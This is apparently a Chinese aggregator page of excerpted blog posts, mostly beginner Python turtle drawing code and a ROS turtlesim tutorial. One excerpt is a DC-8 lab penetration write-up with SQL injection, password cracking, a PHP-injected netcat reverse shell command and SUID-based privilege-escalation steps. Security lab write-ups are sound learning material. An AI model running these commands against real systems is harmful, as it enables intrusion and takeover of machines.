turtle

彩蛋

偶尔善良 提交于 2021-02-15 00:10:08
今天不讲知识内容,我们看一下python的彩蛋: 把源码复制粘贴到cmd运行框里,按下回车,就能看到彩蛋啦~ 彩蛋一: import turtle t = turtle.Pen() turtle.bgcolor( " black " ) sides =6 colors =[ " red " , " yellow " , " green " , " blue " , " orange " , " purple " ] for x in range(360 ): t.pencolor(colors[x % sides]) t.forward(x *3/sides+ x) t.left( 360/sides+1 ) t.width(x *sides/200 ) print ( " ####结束#### " ) 彩蛋二:(这个之前发过源码,不知道你有没有发现(#^.^#)) import turtle # 设置初始位置 turtle.penup() turtle.left( 90 ) turtle.fd( 200 ) turtle.pendown() turtle.right( 90 ) # 花蕊 turtle.fillcolor( " red " ) turtle.begin_fill() turtle.circle( 10,180 ) turtle.circle( 25,110 )

python第一周:叠加等边三角形,红色五角星,六角形

人走茶凉 提交于 2021-02-13 18:45:55
一.使用turtle库绘制一个叠加等边三角形: import turtle turtle.right( 60 ) turtle.forward( 200 ) turtle.right( 120 ) turtle.forward( 200 ) turtle.right( 120 ) turtle.forward( 200 ) turtle.penup() turtle.forward( -100 ) turtle.pendown() turtle.right( 60 ) turtle.forward( 100 ) turtle.right( 120 ) turtle.forward( 100 ) turtle.right( 120 ) turtle.forward( 100 ) turtle.done() 二.使用turtle库绘制一个红色五角星: import turtle turtle.fillcolor( " red " ) turtle.begin_fill() turtle.pensize( 2 ) for i in range (5 ): turtle.forward( 250 ) turtle.right( 144 ) turtle.end_fill() turtle.done() 三.使用turtle库绘制一个六角形: import turtle turtle

python绘制等边三角形

大兔子大兔子 提交于 2021-02-13 18:36:39
定义一个函数,参数为三角形的边长和颜色,并调用该函数绘制两个边长颜色不同的等边三角形 1 def draw(l,color): 2 import turtle 3 turtle.setup(900,600,200,200 ) 4 turtle.penup() # 笔抬起 5 turtle.fd(-60 ) 6 turtle.pendown() # 笔放下 7 turtle.pensize(6 ) 8 turtle.pencolor(color) 9 turtle.seth(60 ) 10 turtle.fd(l) 11 turtle.seth(-60 ) 12 turtle.fd(l) 13 turtle.seth(-180 ) 14 turtle.fd(l) 15 16 l,l_ = eval(input( " 输入两个三角形的边逗号隔开: " )) 17 color= input( " 输入第一个三角形颜色: " ) 18 color_ = input( " 输入第二个三角形颜色: " ) 19 20 draw(l,color) 21 import turtle 22 turtle.penup() 23 turtle.fd(300 ) 24 turtle.pendown() 25 draw(l_,color_) 26 turtle.done() 来源: oschina 链接:

ROS入门学习(基于Ubuntu16.04+kinetic)

≯℡__Kan透↙ 提交于 2021-02-13 16:35:18
本文主要部分全部来源于ROS官网的Tutorials. Setup roscore # making sure that we have roscore running rosrun turtlesim turtlesim_node rosrun turtlesim turtle_teleop_key # Now you can use the arrow keys of the keyboard to drive the turtle around. ROS Topics sudo apt-get install ros-kinetic- rqt sudo apt-get install ros-kinetic-rqt-common- plugins rosrun rqt_graph rqt_graph rostopic - h rostopic echo /turtle1/cmd_vel # you will now see topic datas when you press the arrow key in turtle_teleop_key terminal rostopic list -h # figure out what argument the list sub- command needs rostopic list -v # displays a

DC-8靶机渗透

放肆的年华 提交于 2021-02-09 08:40:54
1 WEB 刚进来就找到了处SQL注入 找到了貌似是登录用户的用户名和密码。 使用john破解密码,虽然没有爆出admin的密码,但是爆出了john的密码:turtle。 发现下方标记的CMS,查找到后台地址。 登录进去后查找相关信息,找到一个图片上传的点,但是暂时没有办法利用,又在contact us处找到了可疑的提交点,更改test format选项为PHP code,看看会有什么反应。 保存设置后无任何回显,提交表单也没有回显信息,根据提示猜测应该是直接执行,用php反弹shell,提交表单后得到shell。 < p > lalala < p > <?php system( "nc -e /bin/bash 192.168.16.131 4444" ); ?> 2 提权 然后用python获得交互式shell。 python - c ' import pty;pty.spawn("/bin/bash")' 查找SUID。 find / -perm -4000 2 > /dev/ null 没有认识的,网上找复现发现exim4存在提权漏洞,查看版本是4.89,然后搜索一下漏洞。 发现漏洞编号46996,将文件拖下来,搜索可以写入的文件夹。 find / -writable - type d 2 > /dev/ null (直接把文件拖出来会报错,查明原因是文件格式不对

使用Python的turtle库实现六角形以及正方形螺旋线的绘制

大憨熊 提交于 2021-02-01 11:37:53
1.六角形的绘制 思路:一个六角形可以看作是两个等边三角形具有共同的中心且垂线互成60°角。所以只需实现一个等边三角形的绘制以及第二个三角形绘制起点的移动即可。 代码如下: import turtle turtle.setup(650,350,200,200) turtle.penup() turtle.pensize(1) turtle.pencolor("red") turtle.fd(100) turtle.seth(30) turtle.pendown() turtle.fd(80) turtle.seth(-90) turtle.fd(80) turtle.seth(150) turtle.fd(80)       / /第一个三角形绘制完成 turtle.penup()      // 将画笔抬起,此时任何画笔操作都不会绘制出来 turtle.seth(30) turtle.fd(80/3) turtle.seth(90) turtle.fd(80/3)      // 调整第二个三角形的绘制起点 turtle.pendown()     //将画笔放下,绘制接下来的画笔移动路径 turtle.seth(-30) turtle.fd(80) turtle.seth(-150) turtle.fd(80) turtle.seth(90) turtle.fd(80)

【程序源代码】python经典事例

偶尔善良 提交于 2021-01-31 13:35:44
关键字:python 源码 事例 正文 | 内容 python经典事例。下面是一些源码事例。 01 — 【绿色的树叶】 主 要功能:用海归画一个绿色的树叶。 # 绿色树叶 import turtle import random screen = turtle.Screen() screen.title( ' 绿色树叶 ' ) screen.setup( 1000 , 980 ) screen.setworldcoordinates(- 6 , - 1 , 6 , 11 ) screen.tracer( 0 , 0 ) turtle.hideturtle() turtle.speed( 0 ) turtle.up() n = 100000 # number of points to draw p = ( 0 , 0 ) t = turtle.Turtle() t.up() t.hideturtle() for i in range (n): t.goto(p) t.dot( 2 , 'green' ) r = random.uniform( 0 , 1 ) if r < 0.01 : p = ( 0 , 0.16 * p[ 1 ]) elif r < 0.86 : p = ( 0.85 * p[ 0 ] + 0.04 * p[ 1 ] , - 0.04 * p[ 0 ] + 0.85

用Turtle库画一个爱心

二次信任 提交于 2021-01-24 06:56:31
---恢复内容开始---         用Python中的turtle库画一个爱心   这个学期,我学了Python语言,并学到其中的一个库:turtle库。用turtle库可以画一些你想画的图片,所以我就想画一个爱心(耶耶耶耶)。 爱心的代码如下:   1 from turtle import * 2 def curvemove(): 3 for i in range(200 ): 4 right(1 ) 5 forward(1 ) 6 color( ' black ' , ' red ' ) 7 begin_fill() 8 left(140 ) 9 forward(111.65 ) 10 curvemove() 11 left(120 ) 12 curvemove() 13 forward(111.65 ) 14 end_fill() 15 done() 运行结果图如下:        这就是我画的爱心!!! ---恢复内容结束--- 来源: oschina 链接: https://my.oschina.net/u/4262536/blog/3614446

turtle库--海龟绘图

陌路散爱 提交于 2021-01-22 00:50:18
turtle(海龟)库也是turtle绘图体系的python实现;1969年诞生,入门级的图形绘制库。 python计算生态=标准库+第三方库 python语言包含: 标准库 :<随解释器直接安装到操作系统中的功能模块> 第三方库 :<需要经过安装才能使用的功能模块> 库library、包Package、模块Module,统称 模块 。 turtle原理: -有一只海龟在窗体的正中心,在画布上行走 -走过的轨迹形成了绘制的图形 -海龟由程序控制,可以变换颜色、改变宽度等 turtule(海龟)库是turtle绘图体系的python实现。 turtle.setup(width,height,startx,starty)---setup不是必须的 turtle.setup(200,200,0,0)---表示在窗体的最左上角 turtle.setup(200,200)---表示在屏幕中心 turtle空间坐标体系 turtle.goto(x,y) turtle角度坐标系: RGB色彩体系: 来源: oschina 链接: https://my.oschina.net/u/4288716/blog/3645537

turtle(海龟绘图)

馋奶兔 提交于 2021-01-22 00:49:18
一、引入turtle模块 import turtle 二、turtle模块中的一些函数 1、向前移动 turtle.forward(distance) turtle.fd(distance)   参数:distance -- 数字(整数或浮点数) 2、向后移动 turtle.back(distance) turtle.bk(distance) turtle.backward(distance)   参数:distance -- 数字 3、向右转(默认单位为度,可以通过degrees()和radians()进行设置) turtle.right(angle) turtle.rt(angle)   参数:angle -- 数字 4、向左转 turtle.left(angle) turtle.lt(angle)   参数:angle -- 数字 5、返回或设置填充颜色 turtle.fillcolor(*args)   fillcolor()  # 返回当前的填充颜色 turtle.fillcolor( ' red ' ) print (turtle.fillcolor()) # red   fillcolor(colorstring)  # 设置填充颜色(例如:red、#fff000)   fillcolor((r, g, b))  # 设置填充颜色   fillcolor(r, g,